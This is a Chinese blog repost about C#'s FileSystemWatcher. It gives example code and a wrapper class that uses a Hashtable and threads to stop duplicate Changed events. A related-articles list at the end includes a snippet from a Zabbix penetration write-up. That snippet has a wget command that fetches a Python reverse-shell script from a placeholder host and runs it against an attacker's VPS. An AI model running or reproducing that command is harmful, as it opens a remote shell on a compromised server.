转:http://www.cnblogs.com/zhaojingjing/archive/2011/01/21/1941586.html

注意:用FileWatcher的Created监控文件时,是指文件刚创建的时候就触发Created(仅仅是出现文件名时),此时的文件还未完成写操作(比如一个图片文件),文件也不是一个完整的文件。用Image.FromFile加载刚刚监听的文件,会报“内存不足”异常。

下面为简单用法:

using System;
using System.IO; namespace test
{
class Program
{
static void Main(string[] args)
{
WatcherStrat(@"C:\test", "*.txt");
//由于是控制台程序,加个输入避免主线程执行完毕,看不到监控效果
Console.ReadKey();
} private static void WatcherStrat(string path, string filter)
{
FileSystemWatcher watcher = new FileSystemWatcher();
watcher.Path = path; watcher.Filter = filter; watcher.Changed += new FileSystemEventHandler(OnProcess);
watcher.Created += new FileSystemEventHandler(OnProcess);
watcher.Deleted += new FileSystemEventHandler(OnProcess);
watcher.Renamed += new RenamedEventHandler(OnRenamed); watcher.EnableRaisingEvents = true;
} private static void OnProcess(object source, FileSystemEventArgs e)
{
if (e.ChangeType == WatcherChangeTypes.Created)
{
OnCreated(source, e);
}
else if (e.ChangeType == WatcherChangeTypes.Changed)
{
OnChanged(source, e);
}
else if (e.ChangeType == WatcherChangeTypes.Deleted)
{
OnDeleted(source, e);
}
} private static void OnCreated(object source, FileSystemEventArgs e)
{
Console.WriteLine("文件新建事件处理逻辑");
} private static void OnChanged(object source, FileSystemEventArgs e)
{
Console.WriteLine("文件改变事件处理逻辑");
} private static void OnDeleted(object source, FileSystemEventArgs e)
{
Console.WriteLine("文件删除事件处理逻辑");
} private static void OnRenamed(object source, RenamedEventArgs e)
{
Console.WriteLine("文件重命名事件处理逻辑");
}
}
}

用上面的方法会发现,在一次文本文件变化的时候OnChanged事件会触发两次,这是因为除了文本内容变化之外还有文件其他的属性也变化了例如修改时间。

为了解决这问题,也便于项目当中实际使用,写了下面几个类来实际使用:

 主方法:、
using System;
using System.IO; namespace test
{
class Program
{
static void Main(string[] args)
{
MyFileSystemWather myWather = new MyFileSystemWather(@"C:\test", "*.txt");
myWather.OnChanged += new FileSystemEventHandler(OnChanged);
myWather.OnCreated += new FileSystemEventHandler(OnCreated);
myWather.OnRenamed += new RenamedEventHandler(OnRenamed);
myWather.OnDeleted += new FileSystemEventHandler(OnDeleted);
myWather.Start();
//由于是控制台程序,加个输入避免主线程执行完毕,看不到监控效果
Console.ReadKey();
} private static void OnCreated(object source, FileSystemEventArgs e)
{
Console.WriteLine("文件新建事件处理逻辑");
} private static void OnChanged(object source, FileSystemEventArgs e)
{
Console.WriteLine("文件改变事件处理逻辑");
} private static void OnDeleted(object source, FileSystemEventArgs e)
{
Console.WriteLine("文件删除事件处理逻辑");
} private static void OnRenamed(object source, RenamedEventArgs e)
{
Console.WriteLine("文件重命名事件处理逻辑");
}
}
}

WatcherProcess类:

using System.IO;

namespace test
{
public class WatcherProcess
{
private object sender;
private object eParam; public event RenamedEventHandler OnRenamed;
public event FileSystemEventHandler OnChanged;
public event FileSystemEventHandler OnCreated;
public event FileSystemEventHandler OnDeleted;
public event Completed OnCompleted; public WatcherProcess(object sender, object eParam)
{
this.sender = sender;
this.eParam = eParam;
} public void Process()
{
if (eParam.GetType() == typeof(RenamedEventArgs))
{
OnRenamed(sender, (RenamedEventArgs)eParam);
OnCompleted(((RenamedEventArgs)eParam).FullPath);
}
else
{
FileSystemEventArgs e = (FileSystemEventArgs)eParam;
if (e.ChangeType == WatcherChangeTypes.Created)
{
OnCreated(sender, e);
OnCompleted(e.FullPath);
}
else if (e.ChangeType == WatcherChangeTypes.Changed)
{
OnChanged(sender, e);
OnCompleted(e.FullPath);
}
else if (e.ChangeType == WatcherChangeTypes.Deleted)
{
OnDeleted(sender, e);
OnCompleted(e.FullPath);
}
else
{
OnCompleted(e.FullPath);
}
}
}
}
}

MyFileSystemWather类:

using System;
using System.Collections;
using System.IO;
using System.Threading; namespace test
{ public delegate void Completed(string key); public class MyFileSystemWather
{
private FileSystemWatcher fsWather; private Hashtable hstbWather; public event RenamedEventHandler OnRenamed;
public event FileSystemEventHandler OnChanged;
public event FileSystemEventHandler OnCreated;
public event FileSystemEventHandler OnDeleted; /// <summary>
/// 构造函数
/// </summary>
/// <param name="path">要监控的路径</param>
public MyFileSystemWather(string path, string filter)
{
if (!Directory.Exists(path))
{
throw new Exception("找不到路径:" + path);
} hstbWather = new Hashtable(); fsWather = new FileSystemWatcher(path);
// 是否监控子目录
fsWather.IncludeSubdirectories = false;
fsWather.Filter = filter;
fsWather.Renamed += new RenamedEventHandler(fsWather_Renamed);
fsWather.Changed += new FileSystemEventHandler(fsWather_Changed);
fsWather.Created += new FileSystemEventHandler(fsWather_Created);
fsWather.Deleted += new FileSystemEventHandler(fsWather_Deleted);
} /// <summary>
/// 开始监控
/// </summary>
public void Start()
{
fsWather.EnableRaisingEvents = true;
} /// <summary>
/// 停止监控
/// </summary>
public void Stop()
{
fsWather.EnableRaisingEvents = false;
} /// <summary>
/// filesystemWatcher 本身的事件通知处理过程
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void fsWather_Renamed(object sender, RenamedEventArgs e)
{
lock (hstbWather)
{
hstbWather.Add(e.FullPath, e);
} WatcherProcess watcherProcess = new WatcherProcess(sender, e);
watcherProcess.OnCompleted += new Completed(WatcherProcess_OnCompleted);
watcherProcess.OnRenamed += new RenamedEventHandler(WatcherProcess_OnRenamed);
Thread thread = new Thread(watcherProcess.Process);
thread.Start();
} private void WatcherProcess_OnRenamed(object sender, RenamedEventArgs e)
{
OnRenamed(sender, e);
} private void fsWather_Created(object sender, FileSystemEventArgs e)
{
lock (hstbWather)
{
hstbWather.Add(e.FullPath, e);
}
WatcherProcess watcherProcess = new WatcherProcess(sender, e);
watcherProcess.OnCompleted += new Completed(WatcherProcess_OnCompleted);
watcherProcess.OnCreated += new FileSystemEventHandler(WatcherProcess_OnCreated);
Thread threadDeal = new Thread(watcherProcess.Process);
threadDeal.Start();
} private void WatcherProcess_OnCreated(object sender, FileSystemEventArgs e)
{
OnCreated(sender, e);
} private void fsWather_Deleted(object sender, FileSystemEventArgs e)
{
lock (hstbWather)
{
hstbWather.Add(e.FullPath, e);
}
WatcherProcess watcherProcess = new WatcherProcess(sender, e);
watcherProcess.OnCompleted += new Completed(WatcherProcess_OnCompleted);
watcherProcess.OnDeleted += new FileSystemEventHandler(WatcherProcess_OnDeleted);
Thread tdDeal = new Thread(watcherProcess.Process);
tdDeal.Start();
} private void WatcherProcess_OnDeleted(object sender, FileSystemEventArgs e)
{
OnDeleted(sender, e);
} private void fsWather_Changed(object sender, FileSystemEventArgs e)
{
if (e.ChangeType == WatcherChangeTypes.Changed)
{
if (hstbWather.ContainsKey(e.FullPath))
{
WatcherChangeTypes oldType = ((FileSystemEventArgs)hstbWather[e.FullPath]).ChangeType;
if (oldType == WatcherChangeTypes.Created || oldType == WatcherChangeTypes.Changed)
{
return;
}
}
} lock (hstbWather)
{
hstbWather.Add(e.FullPath, e);
}
WatcherProcess watcherProcess = new WatcherProcess(sender, e);
watcherProcess.OnCompleted += new Completed(WatcherProcess_OnCompleted);
watcherProcess.OnChanged += new FileSystemEventHandler(WatcherProcess_OnChanged);
Thread thread = new Thread(watcherProcess.Process);
thread.Start();
} private void WatcherProcess_OnChanged(object sender, FileSystemEventArgs e)
{
OnChanged(sender, e);
} public void WatcherProcess_OnCompleted(string key)
{
lock (hstbWather)
{
hstbWather.Remove(key);
}
}
}
}

  使用了线程安全的Hashtable来处理一次改变触发两次事件的问题,要注意的是在实际项目使用中,在通过监控文件事情触发时开一个线程WatcherProcess去处理自己业务逻辑的时候,不管业务逻辑成功或者失败(例如有异常抛出一定要try一下)一定要让WatcherProcess的 Completed也就是MyFileSystemWather的WatcherProcess_OnCompleted执行去移除对应变化文件的Hashtable的key,不然下次此文件改变时是无法触发你的业务逻辑的。

 

FileSystemWatcher的更多相关文章

  1. 利用FileSystemWatcher实现磁盘文件监控

    马上放假了,好开森啊O(∩_∩)O哈哈~ ——————————————————————————————————————————————————————— 昨天逛园子,发现了一个FileSystemWa ...

  2. 使用FileSystemWatcher监控文件夹及文件

    引言 这一周主要精力集中学习一个同事开发的本地文件搜索项目上,其中客户端添加共享文件时主要是使用FileSystemWatcher 监控文件,并在各种事件发生时向服务器发送消息. 解决方法 FileS ...

  3. C# FileSystemWatcher监听文件事件

    现有一个需求如下:监控某个目录中的文件修改,创建,删除等信息,并记录下来. 这里用到FileSystemWatcher类.由于考虑到文件的写入量会很频率,所以考虑先将监听到的消息记录到内存中. 监听部 ...

  4. C#回顾 - 2.NET的IO:Path、File、FileInfo、Directory、DirectoryInfo、DriveInfo、FileSystemWatcher

        1.管理文件系统 一般而言,应用程序都会有保存数据.检索数据的需求. 1.1 使用 path 类来访问文件路径 [path常用的方法]:http://www.cnblogs.com/tangg ...

  5. FileSystemWatcher用法详解

    FileSystemWatcher控件主要功能: 监控指定文件或目录的文件的创建.删除.改动.重命名等活动.可以动态地定义需要监控的文件类型及文件属性改动的类型. 1.常用的几个基本属性: (1) P ...

  6. 在C#使用文件监控对象FileSystemWatcher的几种方案

    最近在项目中有这么个需求,就是得去实时获取某个在无规律改变的文本文件中的内容.首先想到的是用程序定期去访问这个文件,因为对实时性要求很高,间隔不能超过1S,而且每次获取到文本内容都要去分发给web服务 ...

  7. FileSystemWatcher触发多次Change事件的解决办法 .

    最近要用到FileSystemWatcher来监控某个目录中的文件是否发生改变,如果改变就执行相应的操作.但在开发过程中,发现FileSystemWatcher在文件创建或修改后,会触发多个Creat ...

  8. C# 之 FileSystemWatcher事件多次触发的解决方法

    1.问题描述  程序里需要监视某个目录下的文件变化情况: 一旦目录中出现新文件或者旧的文件被覆盖,程序需要读取文件内容并进行处理.于是使用了下面的代码: public void Initial() { ...

  9. 使用文件监控对象FileSystemWatcher实现数据同步

    最近在项目中有这么个需求,就是得去实时获取某个在无规律改变的文本文件中的内容.首先想到的是用程序定期去访问这个文件,因为对实时性要求很高,间隔不能超过1S,而且每次获取到文本内容都要去分发给WEB服务 ...

随机推荐

  1. 黑马程序员——JAVA基础之简述集合collection

    ------- android培训.java培训.期待与您交流! ---------- 集合: 为什么出现集合类? •  面向对象语言对事物的体现都是以对象的形式,所以为了方便对多个对象的操作,就对对 ...

  2. 异构平台同步(Mysql到Oracle)

    Oracle GoldenGate学习之--异构平台同步(MySQL到Oracle) 如图所示:源端采用Mysql库,目标端采用Oracle库 一.OGG安装配置(源端) 1.OGG下载 https: ...

  3. 一次zabbix的渗透

    wget http://xxxxxxx:8888/back.py -O  /tmp/1.py  写入python反弹马 反弹到vps python /tmp/back.py IP port       ...

  4. Java-JDBC连接Oracle 数据库

    package com.zse.oracle; import oracle.jdbc.*; import java.sql.*; import javax.swing.text.html.HTMLDo ...

  5. linux服务之rsyslog

    日志片断分析 systemd:服务报出来的信息kvm:内核模块kvm报出来的信息kernel: tun: 内核的tun模块报出来的信息kernel: br0: 内核的br0模块报出来的信息kernel ...

  6. struts2异常处理及类型转换

    一.struts2对异常的处理 1.自定义局部异常: <action> <exception-mapping result="sonException" exce ...

  7. JS对日期时间的操作

    代码: //判断是否超期(有效期开始超过一年后算已超期) function IsEffect(effectDate) { var val = ""; var currentDate ...

  8. placeholder兼容方法(兼容IE8以上浏览器)

    //placeholder兼容方法(兼容IE8以上浏览器) var JPlaceHolder = { //检测 _check: function () { return 'placeholder' i ...

  9. 转: 从Mysql某一表中随机读取n条数据的SQL查询语句

    若要在i ≤ R ≤ j 这个范围得到一个随机整数R ,需要用到表达式 FLOOR(i + RAND() * (j – i + 1)).例如, 若要在7 到 12 的范围(包括7和12)内得到一个随机 ...

  10. com.opensymphony.module.sitemesh.filter.PageFilter 装饰页面

    1.web.xml中配置: <filter> <filter-name>sitemeshFilter</filter-name> <filter-class& ...